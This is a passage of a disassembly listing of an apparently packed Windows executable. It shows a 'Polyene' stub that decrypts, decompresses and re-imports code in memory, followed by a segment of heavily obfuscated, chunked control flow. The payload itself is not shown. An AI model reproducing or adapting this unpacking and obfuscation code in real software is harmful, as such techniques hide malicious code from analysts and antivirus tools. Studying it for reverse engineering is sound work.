dword_41DE4C dd 71C243F6h ; DATA XREF: sub_403BD3+66w
dword_41DE50 dd 71C59904h ; DATA XREF: sub_403BD3+79w
dword_41DE54 dd 71C453F8h ; DATA XREF: sub_403BD3+8Cw
dword_41DE58 dd 71C2FA86h ; DATA XREF: sub_403BD3+9Fw
dword_41DE5C dd 71C574FAh ; DATA XREF: sub_403BD3+B2w
dword_41DE60 dd 71C214BAh ; DATA XREF: sub_403BD3+C5w
dword_41DE64 dd 71C4A1B4h ; DATA XREF: sub_403BD3+D8w
dword_41DE68 dd 71C59530h ; DATA XREF: sub_403BD3+EBw
dword_41DE6C dd 71B2ACCBh ; DATA XREF: sub_403BD3+112w
dword_41DE70 dd 71B22C25h ; DATA XREF: sub_403BD3+125w
dword_41DE74 dd 71B2A381h ; DATA XREF: sub_403BD3+138w
dword_41DE78 dd 71B28D0Dh ; DATA XREF: sub_403BD3+14Bw
dword_41DE7C dd 7622A3F4h ; DATA XREF: sub_403BD3+219w
; sub_408B30+118r ...
dword_41DE80 dd 5E0C4E7Dh ; DATA XREF: sub_403BD3+1F2w
; sub_414EF4+6Cr ...
dword_41DE84 dd 71AB33DFh ; DATA XREF: sub_403BD3+16Cw
; sub_403BD3+197r ...
dword_41DE88 dd 71ABC076h ; DATA XREF: sub_4020C2+DBr
; sub_403BD3+17Fw ...
dword_41DE8C dd 71AB3A2Ch ; DATA XREF: sub_403BD3+192w
; sub_403BD3+1A9r ...
dd 101h dup(0)
dword_41E294 dd 0 ; DATA XREF: sub_4042FB+3r
; sub_4042FB+20o
dword_41E298 dd 0 ; DATA XREF: sub_4042FB+12o
; sub_4042FB:loc_404327r
align 10h
dword_41E2A0 dd 76BF1C22h ; DATA XREF: sub_405FA3+46w
; sub_405FA3+7Ar ...
dword_41E2A4 dd 76BF1D54h ; DATA XREF: sub_405FA3+59w
; sub_405FA3+83r ...
dword_41E2A8 dd 76BF1E6Ch ; DATA XREF: sub_405FA3+6Cw
; sub_405FA3+8Cr ...
dword_41E2AC dd 76BF32DDh ; DATA XREF: sub_405FA3+33w
; sub_405FA3+71r ...
dword_41E2B0 dd 14B140h, 0FFFFFFFFh, 5 dup(0) ; DATA XREF: sub_405FA3+4o
; sub_406041+Bo ...
byte_41E2CC db 1 ; DATA XREF: sub_405FA3+95w
; sub_406041+16r
align 10h
dword_41E2D0 dd 0 ; DATA XREF: sub_409226+61w
; sub_409226+77w ...
align 8
dword_41E2D8 dd 14B168h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40938F+1Ao
; sub_4095A4+6o ...
dword_41E2F0 dd 0 ; DATA XREF: sub_40938F+3w
; sub_4095A4+11r ...
align 8
dword_41E2F8 dd 1153B20h ; DATA XREF: sub_40938F+15w
; sub_4095A4+57r ...
dword_41E2FC dd 0 ; DATA XREF: sub_409CB1+6r
; sub_409DD0+65w ...
dword_41E300 dd 0 ; DATA XREF: sub_409DD0+3Fw
; sub_409DD0+44r ...
dword_41E304 dd 0 ; DATA XREF: sub_409CB1+F6r
; sub_409DD0+91w ...
dword_41E308 dd 0 ; DATA XREF: sub_409CB1+B9r
; sub_409DD0+7Bw ...
align 10h
byte_41E310 db 0 ; DATA XREF: sub_409DD0+29r
; sub_409DD0+96w
align 4
dd 101h dup(0)
byte_41E718 db 0 ; DATA XREF: sub_40CF2F+4Bo
; sub_40CF2F+5Eo ...
align 4
dd 5Fh dup(0)
dword_41E898 dd 40h dup(0) ; DATA XREF: sub_40CF2F+Eo
; sub_40CF2F+A6o ...
dword_41E998 dd 3 dup(0) ; DATA XREF: sub_40CF2F+23o
; sub_40CF2F+36o ...
dword_41E9A4 dd 0 ; DATA XREF: sub_40CF25+3r
; sub_40D366+15r ...
dd 0
dword_41E9AC dd 0 ; DATA XREF: sub_40E618+49w
; sub_40E618:loc_40E66Dw
byte_41E9B0 db 0 ; DATA XREF: sub_40E979+1Dw
; sub_40E979+46w ...
align 4
dd 9 dup(0)
dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
dd 16151413h, 191817h, 0
db 0
db 1Ah, 1Bh, 1Ch
db 1Dh
db 1Eh, 1Fh, 20h
a_0123 db '!"#$%&',27h,'()*+,-./0123',0
dd 22h dup(0)
byte_41EAB4 db 8Bh ; DATA XREF: sub_40ECEB+29o
; sub_40ECEB+35o ...
db 0B9h, 0DBh, 0B0h
dd 8FB3E9B3h, 9A9790C8h, 62FBBADBh, 0
dword_41EAC8 dd 353B9991h, 29C9A16Fh, 0F3E975C5h, 37BBFFA3h, 0
; DATA XREF: sub_40ED6E+29o
; sub_40ED6E+35o ...
dword_41EADC dd 2AFB5165h ; DATA XREF: sub_4102AE+1Do
; sub_410318+7w ...
dword_41EAE0 dd 4F53F7A4h ; DATA XREF: sub_4102AE+2Do
; sub_410318+11w ...
dword_41EAE4 dd 1FE21E18h ; DATA XREF: sub_4102AE+3Do
; sub_410318+1Bw ...
dword_41EAE8 dd 79559065h ; DATA XREF: sub_4102AE+4Do
; sub_410318+25w ...
align 10h
byte_41EAF0 db 0E2h ; DATA XREF: sub_41055F+29o
; sub_41055F+35o ...
db 0E6h, 0B7h, 0B0h
dd 0BECEFA9Dh, 0D3DE90C8h, 0B1F7D5FBh, 2 dup(0)
dword_41EB08 dd 2 dup(0) ; DATA XREF: sub_41113B+7E8o
dword_41EB10 dd 0 ; DATA XREF: sub_411DC5+557o
dword_41EB14 dd 2 dup(0) ; DATA XREF: sub_411DC5+579o
dword_41EB1C dd 0 ; DATA XREF: sub_4127D0+9r
; sub_4127D0+16w
dword_41EB20 dd 0 ; DATA XREF: sub_4127D0+BFw
; sub_4127D0:loc_4128A0r
dword_41EB24 dd 2 dup(0) ; DATA XREF: sub_412D4C+3o
; sub_412E04+7Fo
dword_41EB2C dd 6B636170h, 652E6465h, 6578h, 3Eh dup(0) ; DATA XREF: sub_406E8E+208o
; sub_407148+172o ...
dword_41EC30 dd 38997A7Bh ; DATA XREF: sub_40A9CF+838r
; sub_4167F1+118w
dword_41EC34 dd 0D98D9A1Dh ; DATA XREF: sub_4167F1+122w
dword_41EC38 dd 32AED88h ; DATA XREF: sub_4167F1+12Cw
dword_41EC3C dd 253A396Fh ; DATA XREF: sub_4167F1+136w
dword_41EC40 dd 6B636170h, 652E6465h, 6578h, 3Fh dup(0) ; DATA XREF: sub_40A9CF+C3Do
; sub_40A9CF+C51o ...
dword_41ED48 dd 40h dup(0) ; DATA XREF: sub_40A9CF+1082o
; sub_40A9CF+108Eo ...
byte_41EE48 db 0 ; DATA XREF: sub_40D043+FFr
; sub_40D043+10Ao ...
align 4
dd 1Fh dup(0)
byte_41EEC8 db 0 ; DATA XREF: sub_403DF3:loc_403F07r
; sub_403DF3+11Fo ...
align 4
dd 1Fh dup(0)
dword_41EF48 dd 40h dup(0) ; DATA XREF: sub_404279+36o
; sub_4055E5+746o ...
byte_41F048 db 0 ; DATA XREF: sub_40A9CF+1F37o
; sub_40D043:loc_40D0D6r ...
align 1000h
_data ends
; Section 4. (virtual address 00020000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00020000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_Polyene segment para public 'CODE' use32
assume cs:_Polyene
;org 420000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
loc_420000: ; CODE XREF: _94j21ax3:0042A490j
pusha
mov eax, 0AA00h
push 40h
pop ecx
push eax
push ecx
call ds:dword_420362 ; GlobalAlloc
push eax
push eax
pop edx
push offset sub_401000
mov ebp, [esp]
add esp, 4
sub esp, 4
mov dword ptr [esp], 0AA00h
pop ebx
loc_42002F: ; CODE XREF: .Polyene:00420055j
mov ch, [ebp+0]
add ch, 0EBh
sub ch, 0FFh
add ch, 0FFh
xor ch, 0FFh
sub ch, 0F1h
sub ch, bl
sub ch, bl
sub ch, 7Eh
add ch, 0A5h
add ch, bl
mov [edx], ch
inc ebp
inc edx
dec ebx
cmp ebx, 0
jnz loc_42002F
mov esi, [esp]
add esp, 4
push eax
mov eax, offset sub_401000
xchg eax, edi
pop eax
push esi
jmp loc_42011F
; =============== S U B R O U T I N E =======================================
sub_42006F proc near ; DATA XREF: .Polyene:loc_42011Fo
push ebp
push edi
xor eax, eax
mov ebx, esi
xor ebp, ebp
add ebx, [esi+4]
add esi, 8
loc_42007D: ; CODE XREF: sub_42006F+23j
mov dx, [esi]
mov ecx, ebp
inc esi
shr dx, cl
mov dh, 9
loc_420088: ; CODE XREF: sub_42006F+92j
; sub_42006F+A4j
cmp esi, ebx
jge loc_420118
dec dh
jz short loc_42007D
shl dl, 1
jnb short loc_420109
push esi
mov ecx, ebp
mov eax, [esi]
shr eax, cl
mov ecx, eax
mov esi, eax
shr ecx, 3
test esi, 4
jz short loc_4200B9
and ecx, 1Fh
shr eax, 8
add ebp, 8
jmp short loc_4200C2
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_42006F+3Dj
and ecx, 3
shr eax, 5
add ebp, 5
loc_4200C2: ; CODE XREF: sub_42006F+48j
and esi, 3
test esi, esi
jz short loc_4200D7
dec esi
jz short loc_4200E1
dec esi
jz short loc_4200EB
and eax, 1Fh
add ebp, 5
jmp short loc_4200F1
; ---------------------------------------------------------------------------
loc_4200D7: ; CODE XREF: sub_42006F+58j
and eax, 1FFFh
add ebp, 0Dh
jmp short loc_4200F1
; ---------------------------------------------------------------------------
loc_4200E1: ; CODE XREF: sub_42006F+5Bj
and eax, 3FFh
add ebp, 0Ah
jmp short loc_4200F1
; ---------------------------------------------------------------------------
loc_4200EB: ; CODE XREF: sub_42006F+5Ej
and eax, 7Fh
add ebp, 7
loc_4200F1: ; CODE XREF: sub_42006F+66j
; sub_42006F+70j ...
add eax, 3
mov esi, edi
add ecx, 3
sub esi, eax
rep movsb
pop esi
loc_4200FE: ; CODE XREF: sub_42006F+98j
cmp ebp, 8
jl short loc_420088
inc esi
sub ebp, 8
jmp short loc_4200FE
; ---------------------------------------------------------------------------
loc_420109: ; CODE XREF: sub_42006F+27j
mov ecx, ebp
mov eax, [esi]
shr eax, cl
inc esi
mov [edi], al
inc edi
jmp loc_420088
; ---------------------------------------------------------------------------
loc_420118: ; CODE XREF: sub_42006F+1Bj
mov eax, edi
pop edi
sub eax, edi
pop ebp
retn
sub_42006F endp
; ---------------------------------------------------------------------------
loc_42011F: ; CODE XREF: .Polyene:0042006Aj
push offset sub_42006F
pop eax
call eax ; sub_401000
call ds:dword_420366 ; GlobalFree
push 7E5h
pop eax
push eax
mov eax, 40h
xchg eax, ecx
pop eax
jmp short near ptr loc_42013B+1 ; CODE XREF: .Polyene:loc_42013Bj
; ---------------------------------------------------------------------------
db 0F0h, 0FFh, 0F1h
dd 36215FFh, 0EB500042h, 4444F0FFh, 0FE244C8Bh, 0B8504444h
dd 417000h, 0E5685896h, 8B000007h, 0C4832414h, 80068A04h
dd 0E882FFC0h, 0F0F080B6h, 80DFE880h, 0C8C001E8h, 0B1C8C05Fh
dd 0F080D0F6h, 0FFF0803Dh, 802FE880h, 0C22AFFF0h, 0C6FF0188h
dd 0CAFFEB41h, 0F00FA83h, 0FFFFC885h, 685EFFh, 5F004170h
dd 6F68F6FFh, 58004200h, 15FFD0FFh, 420366h, 0C704EC83h
dd 2BD22404h, 83580000h, 4C704ECh, 4024h, 0FFEB5900h, 0F1FFEBF0h
dd 36215FFh, 0FF500042h, 8B4444F0h, 44FE2474h, 4EC8344h
dd 2404C7h, 5D004180h, 2BD268h, 240C8B00h, 8A04C483h, 0D7F6007Dh
dd 8288EF80h, 0D7F672F7h, 0F92AF92Ah, 0F603EF82h, 0F6CF28D7h
dd 0C0F92AD7h, 0C7C068CFh, 453E88A2h, 49C6FFEBh, 0EB00F983h
dd 616E553Ah, 20656C62h, 66206F74h, 69207869h, 726F706Dh
dd 62617474h, 2E656Ch, 796C6F50h, 456E45h, 7373654Dh, 42656761h
dd 41786Fh, 52455355h, 642E3233h, 0F006C6Ch, 0FFFF9285h
dd 8B4444FFh, 44FE2474h, 80006844h, 3C8B0041h, 4C48324h
dd 0BD55F6FFh, 42006Fh, 0D0FF5D95h, 36615FFh, 0C8BF0042h
dd 8B004173h, 568C7h, 83590000h, 4C704ECh, 24h, 18395B00h
dd 18850Fh, 4050000h, 49000000h, 0C3B5352h, 0F5A5A24h
dd 12184h, 0FFE0E900h, 0B850FFFFh, 400000h, 478B5893h
dd 50C3030Ch, 36A15FFh, 0F08B0042h, 310478Bh, 0B9038BD8h
dd 0
; ---------------------------------------------------------------------------
cmp eax, ecx
jz loc_4203CE
test eax, 80000000h
jnz loc_420304
lea eax, [eax+400000h]
inc eax
inc eax
jmp loc_420309
; ---------------------------------------------------------------------------
loc_420304: ; CODE XREF: .Polyene:004202F1j
and eax, 0FFFFh
loc_420309: ; CODE XREF: .Polyene:004202FFj
push eax
jmp short near ptr loc_42030A+1 ; CODE XREF: .Polyene:loc_42030Aj
; ---------------------------------------------------------------------------
idiv bh
adc eax, offset word_42036E
push 0
pop ecx
push edx
push ecx
cmp [esp], eax
pop edx
pop edx
jz loc_4203EC
mov [ebx], eax
jmp loc_4203C3
; ---------------------------------------------------------------------------
align 10h
dd 0
dd 0FFFFFF00h, 20355FFh, 2036200h, 5 dup(0)
dd 52454B00h, 334C454Eh, 6C642E32h
db 6Ch, 0
dword_420362 dd 77E736A3h ; DATA XREF: .Polyene:0042000Fr
dword_420366 dd 77E73803h ; DATA XREF: .Polyene:00420127r
dw 5D8h
db 0E8h, 77h
word_42036E dw 0A5FDh ; DATA XREF: .Polyene:0042030Eo
dd 5CB577E7h, 77E7h, 1680000h, 626F6C47h, 6C416C61h, 636F6Ch
dd 6C47016Fh, 6C61626Fh, 65657246h, 4C01A900h, 4C64616Fh
dd 61726269h, 417972h, 65470129h, 6F725074h, 64644163h
dd 73736572h, 45007500h, 50746978h, 65636F72h
db 2 dup(73h), 0
; ---------------------------------------------------------------------------
loc_4203C3: ; CODE XREF: .Polyene:00420328j
lea ebx, [ebx+4]
jmp near ptr dword_420140+19Dh
; ---------------------------------------------------------------------------
loc_4203CE: ; CODE XREF: .Polyene:004202E6j
push eax
mov eax, 14h
neg eax
sub edi, eax
pop eax
jmp near ptr dword_420140+14Fh
; ---------------------------------------------------------------------------
popa
sub esp, 4
mov dword ptr [esp], offset sub_4167F1
pop eax
push eax
retn
; ---------------------------------------------------------------------------
loc_4203EC: ; CODE XREF: .Polyene:00420320j
push 420225h
pop eax
mov ebx, 420240h
push ecx
push eax
mov eax, 10h
xchg eax, edx
pop eax
push edx
jmp short near ptr loc_420402+1 ; CODE XREF: .Polyene:loc_420402j
; ---------------------------------------------------------------------------
dd 0F0FFEBF3h, 2546851h, 48B0042h, 4C48324h, 6A15FF50h
dd 83004203h, 4C704ECh, 42024824h, 50515900h, 36E15FFh
dd 0D0FF0042h, 37215FFh, 42h, 2F2h dup(0)
_Polyene ends
; ---------------------------------------------------------------------------
; Section 5. (virtual address 00021000)
; Virtual size : 0000C000 ( 49152.)
; Section size in file : 0000C000 ( 49152.)
; Offset to raw data for section: 00021000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_94j21ax3 segment para public 'CODE' use32
assume cs:_94j21ax3
;org 421000h
; START OF FUNCTION CHUNK FOR sub_4284C0
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
loc_421000: ; CODE XREF: sub_4284C0:loc_4211D3j
cmp al, 0C2h
jz loc_421CE0
mov eax, [ebp+var_4]
mov ax, [eax]
jmp loc_42BA70
; END OF FUNCTION CHUNK FOR sub_4284C0
; =============== S U B R O U T I N E =======================================
sub_421013 proc near ; CODE XREF: _94j21ax3:00425B1Cj
; sub_42BC17+3p
; FUNCTION CHUNK AT 004216DE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00429645 SIZE 00000005 BYTES
xchg edi, [esp+0]
pop edi
call sub_42574E
mov edx, 0CB39536Bh
call sub_4239A5
jmp loc_429645
sub_421013 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426716
loc_42102B: ; CODE XREF: sub_426716:loc_42A229j
push 4CB31B47h
pop esi
add esi, 0DFE2599Bh
add esi, ebp
add esi, 0D36A8B1Ah
mov [esi], eax
pop esi
loc_421042: ; CODE XREF: sub_428BBD:loc_42AC9Dj
jmp loc_423E83
; END OF FUNCTION CHUNK FOR sub_426716
; =============== S U B R O U T I N E =======================================
sub_421047 proc near ; CODE XREF: _94j21ax3:00426CA3j
; sub_429848+3p
; FUNCTION CHUNK AT 0042202F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423924 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004249F6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042573B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00426BF7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00427498 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427895 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00427E88 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00429B4B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042A233 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042A8E4 SIZE 00000015 BYTES
mov [esp+0], edi
pop edi
shr eax, 6
xor [ebp-8], eax
jmp loc_42202F
sub_421047 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BB39
loc_421056: ; CODE XREF: sub_42BB39-32BDj
add eax, ecx
loc_421058: ; CODE XREF: sub_42C03F:loc_42B1CFj
call sub_42574E
mov edx, 0D504D785h
call sub_4239A5
push eax
jmp loc_426F87
; END OF FUNCTION CHUNK FOR sub_42BB39
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42106D proc near ; CODE XREF: sub_42AA5Fj
; FUNCTION CHUNK AT 00428DB6 SIZE 0000000D BYTES
push ebp
mov ebp, esp
jmp loc_428DB6
sub_42106D endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429C48
loc_421076: ; CODE XREF: sub_429C48+Aj
jmp loc_42C1A3
; END OF FUNCTION CHUNK FOR sub_429C48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4220B7
loc_42107B: ; CODE XREF: sub_4220B7+Cj
rol eax, 16h
call sub_42A613
loc_421083: ; CODE XREF: sub_423614:loc_42AA55j
mov edx, [ebp-20h]
movzx edx, byte ptr [edx]
or eax, edx
mov [ebp-1Ch], eax
inc dword ptr [ebp-20h]
call sub_429EF8
loc_421096: ; CODE XREF: _94j21ax3:004277F7j
jmp nullsub_23
; END OF FUNCTION CHUNK FOR sub_4220B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_42109B: ; CODE XREF: sub_423614+3748j
jmp nullsub_187
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426809
loc_4210A0: ; CODE XREF: sub_426809+5j
ror eax, 7
mov ds:dword_422268, eax
retn
; END OF FUNCTION CHUNK FOR sub_426809
; =============== S U B R O U T I N E =======================================
sub_4210AA proc near ; CODE XREF: sub_42270C:loc_423148p
; sub_42430C-DAEp ...
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00426DDC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426E0D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BF4D SIZE 00000017 BYTES
jnz loc_42BF4D
xchg ebp, ecx
push ecx
xchg ebp, ecx
mov ebp, esp
jmp loc_426DDC
sub_4210AA endp
; =============== S U B R O U T I N E =======================================
sub_4210BC proc near ; DATA XREF: sub_42B3E4+17o
push eax
push offset sub_42306C
jmp loc_42640D
sub_4210BC endp
; =============== S U B R O U T I N E =======================================
sub_4210C7 proc near ; CODE XREF: sub_426C51+Bj
; sub_424D8C+68B1p
; FUNCTION CHUNK AT 0042714E SIZE 00000005 BYTES
xchg edx, [esp+0]
pop edx
push 0
push offset sub_421402
jmp loc_42714E
sub_4210C7 endp
; ---------------------------------------------------------------------------
loc_4210D7: ; CODE XREF: _94j21ax3:00422471j
jnz loc_425566
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_4210DD: ; CODE XREF: sub_4272E9+6CEj
jmp loc_4271D0
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
jle loc_42AF9A
sub ebp, eax
jmp loc_425566
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_4210EF: ; CODE XREF: sub_42C1AE:loc_42178Fj
jnz loc_424ED3
jmp loc_4223BB
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427EBE
loc_4210FA: ; CODE XREF: sub_427EBE+13j
xor eax, esi
add eax, edi
add al, ah
; END OF FUNCTION CHUNK FOR sub_427EBE
; START OF FUNCTION CHUNK FOR sub_421F28
loc_421100: ; CODE XREF: sub_421F28+979Fj
call sub_4294B3
; END OF FUNCTION CHUNK FOR sub_421F28
; START OF FUNCTION CHUNK FOR sub_42284F
loc_421105: ; CODE XREF: sub_42284F:loc_429D68j
jmp loc_424CBF
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
loc_42110A: ; CODE XREF: _94j21ax3:00428A51j
jmp loc_42B61C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422AD5
loc_42110F: ; CODE XREF: sub_422AD5+3AC2j
jmp loc_427B2A
; END OF FUNCTION CHUNK FOR sub_422AD5
; =============== S U B R O U T I N E =======================================
sub_421114 proc near ; DATA XREF: sub_423324:loc_423950o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042A192 SIZE 00000008 BYTES
push esi
push 201F21A0h
pop esi
add esi, 0E0239CD6h
jmp loc_42A192
sub_421114 endp
; =============== S U B R O U T I N E =======================================
sub_421126 proc near ; CODE XREF: _94j21ax3:00425651j
; _94j21ax3:004282DCp
; FUNCTION CHUNK AT 004212DC SIZE 00000014 BYTES
xchg eax, [esp+0]
pop eax
push 0BB7617A1h
pop edx
add edx, 0DA0730D0h
or edx, 8DF87739h
jmp loc_4212DC
sub_421126 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_421141: ; CODE XREF: _94j21ax3:00424C01j
pop edx
; =============== S U B R O U T I N E =======================================
sub_421142 proc near ; CODE XREF: sub_426DA4-2688p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004227A7 SIZE 00000005 BYTES
mov [esp+0], ebx
pop ebx
xchg ecx, [esp-4+arg_0]
jmp loc_4227A7
sub_421142 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42114E: ; CODE XREF: _94j21ax3:00421CA5j
jz loc_42BF8A
; START OF FUNCTION CHUNK FOR sub_42AE5A
loc_421154: ; CODE XREF: sub_42AE5A:loc_421C93j
and edx, 81474928h
add edx, 0E702E4CAh
cmp ebx, edx
xchg ebp, [esp+4+var_4]
mov edx, ebp
jmp loc_42536A
; END OF FUNCTION CHUNK FOR sub_42AE5A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4216D0
loc_42116C: ; CODE XREF: sub_4216D0:loc_42366Ej
mov eax, [ebp-4]
xor edx, edx
div dword ptr [ebp-8]
push ebx
push 0EC50FBE1h
pop ebx
jmp loc_423E2E
; END OF FUNCTION CHUNK FOR sub_4216D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C5E8
loc_421180: ; CODE XREF: sub_42C5E8+Ej
push eax
call sub_429DCC
cmp dword ptr [ebp-0Ch], 0
jz loc_421933
jmp loc_423CFD
; END OF FUNCTION CHUNK FOR sub_42C5E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4248E7
loc_421195: ; CODE XREF: sub_4248E7:loc_428C80j
mov byte ptr [eax+edx], 0
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 100h
jnz loc_4230B9
jmp loc_421FF7
; END OF FUNCTION CHUNK FOR sub_4248E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427AEB
loc_4211AE: ; CODE XREF: sub_427AEB:loc_42AED9j
cmp dword ptr [ebp-14h], 4
jnz loc_42C1A3
mov eax, [ebp+8]
or dword ptr [eax-8], 4
mov eax, [ebp-4]
movzx eax, byte ptr [eax]
mov edx, [ebp+8]
jmp loc_429A6C
; END OF FUNCTION CHUNK FOR sub_427AEB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4284C0
loc_4211CE: ; CODE XREF: sub_4284C0+Cj
call sub_426B65
loc_4211D3: ; CODE XREF: sub_427849+3BE1j
jmp loc_421000
; END OF FUNCTION CHUNK FOR sub_4284C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422392
loc_4211D8: ; CODE XREF: sub_422392+1E1Aj
; sub_422392:loc_42A28Ej
mov eax, [ebp+var_4]
movzx eax, word ptr [eax+6]
mov [ebp+var_10], eax
mov eax, [ebp+var_4]
movzx eax, word ptr [eax+14h]
add eax, [ebp+var_4]
add eax, 18h
jmp loc_4291F5
; END OF FUNCTION CHUNK FOR sub_422392
; =============== S U B R O U T I N E =======================================
sub_4211F4 proc near ; CODE XREF: sub_4295BAj
; DATA XREF: sub_424DE8:loc_4295B0o
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00423052 SIZE 0000001A BYTES
rol eax, 0Dh
push eax
push eax
push 0AAFCDFAFh
pop eax
jmp loc_423052
sub_4211F4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_421204: ; CODE XREF: sub_42C057:loc_4265B7j
mov al, 1
push offset sub_428A79
jmp loc_42937D
; END OF FUNCTION CHUNK FOR sub_42C057
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428F65
loc_421210: ; CODE XREF: sub_428F65:loc_4256FDj
mov ebx, eax
xchg ebx, [esp+0]
retn
; END OF FUNCTION CHUNK FOR sub_428F65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_421216: ; CODE XREF: sub_421402:loc_4257B2j
pushf
push offset sub_424A57
jmp loc_4237D7
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_421221: ; CODE XREF: sub_42284F:loc_4256A1j
jz loc_42A566
jmp loc_427EEB
; ---------------------------------------------------------------------------
loc_42122C: ; CODE XREF: sub_42284F:loc_4296E2j
cmp dword ptr [ebp-4], 6
jnz loc_427EEB
jmp loc_428160
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
mov ebp, ecx
jmp sub_423BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_421242: ; CODE XREF: _94j21ax3:00422A8Fj
; _94j21ax3:00424877j ...
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4272E9
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421246 proc near ; CODE XREF: sub_428BBD-6E10j
; FUNCTION CHUNK AT 00424DBF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042BF0A SIZE 00000005 BYTES
push ebp
mov ebp, esp
jmp loc_42BF0A
sub_421246 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421C84
loc_42124E: ; CODE XREF: sub_421C84:loc_421C8Ej
add edx, ebp
push ebx
push 663BC1F4h
pop ebx
sub ebx, 73C7926Fh
jmp loc_423E77
; END OF FUNCTION CHUNK FOR sub_421C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4239F1
loc_421262: ; CODE XREF: sub_4239F1+14j
ror eax, 0Fh
mov ds:dword_423438, eax
retn
; END OF FUNCTION CHUNK FOR sub_4239F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_42126C: ; CODE XREF: sub_4272E9+6j
jmp loc_421547
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42454E
loc_421271: ; CODE XREF: sub_42454E+13j
jmp loc_42441D
; END OF FUNCTION CHUNK FOR sub_42454E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AC17
loc_421276: ; CODE XREF: sub_42AC17-6DEEj
; _94j21ax3:loc_424FD7j
jmp nullsub_129
; END OF FUNCTION CHUNK FOR sub_42AC17
; ---------------------------------------------------------------------------
loc_42127B: ; CODE XREF: _94j21ax3:00423B3Fj
rol eax, 0Fh
push offset sub_42C40A
jmp loc_424C98
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42848B
loc_421288: ; CODE XREF: sub_42848B+114Ej
or eax, eax
jnz loc_42782B
call sub_42574E
mov edx, 3CC6743Ch
push offset sub_4244BB
loc_42129F: ; CODE XREF: sub_427668:loc_4271E0j
jmp loc_42464E
; END OF FUNCTION CHUNK FOR sub_42848B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A277
